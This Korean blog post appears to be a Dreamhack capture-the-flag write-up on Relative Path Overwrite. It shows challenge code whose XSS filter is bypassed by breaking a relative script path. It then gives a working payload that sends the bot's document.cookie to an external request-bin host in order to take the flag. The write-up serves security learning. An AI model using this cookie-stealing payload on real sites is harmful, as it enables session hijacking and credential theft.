<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
vuln.php 코드에서 입력값이 innerHTML에 들어간다.
vuln.php에서 filter.js 파일을 로드해서 필터링을 하는데 상대경로로 로드를 하기 때문에
url을 조작해서 제대로 된 js파일을 로드할 수 없게 만들 수 있다.
이렇게 중간에 index.php을 넣어서 제대로 된 파일을 로드할 수 없게 만든다.
이렇게 하면 param이 필터링이 안 되기 때문에 입력값이 innerHTML로 들어가는 취약점을 이용해 XSS 공격을 할 수 있다.
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
<form method="POST" class="form-inline">
<div class="form-group">
<label class="sr-only" for="path">/</label>
<div class="input-group">
<div class="input-group-addon">http://127.0.0.1/</div>
<input type="text" class="form-control" id="path" name="path" placeholder="/">
</div>
</div>
<button type="submit" class="btn btn-primary">Report</button>
</form>
report 부분에서 보면 요청을 보내면 flag를 쿠키로 들고 있는 bot이 방문을 하기 때문에
index.php/?page=vuln¶m=<img src=@ onerror=location.href="https://crqggxp.request.dreamhack.games/"%2bdocument.cookie>
이렇게 url을 조작해서 report에서 요청을 보내면
이렇게 flag를 얻을 수 있다.
'웹해킹' 카테고리의 다른 글
DOM & Javascript (0) | 2023.11.26 |
---|---|
드림핵 Relative Path Overwrite Advanced 롸업 (0) | 2023.11.26 |
Relative Path Overwrite (0) | 2023.11.26 |
드림핵 CSS Injection 롸업 (0) | 2023.11.26 |
드림핵 Client Side Template Injection 롸업 (0) | 2023.11.26 |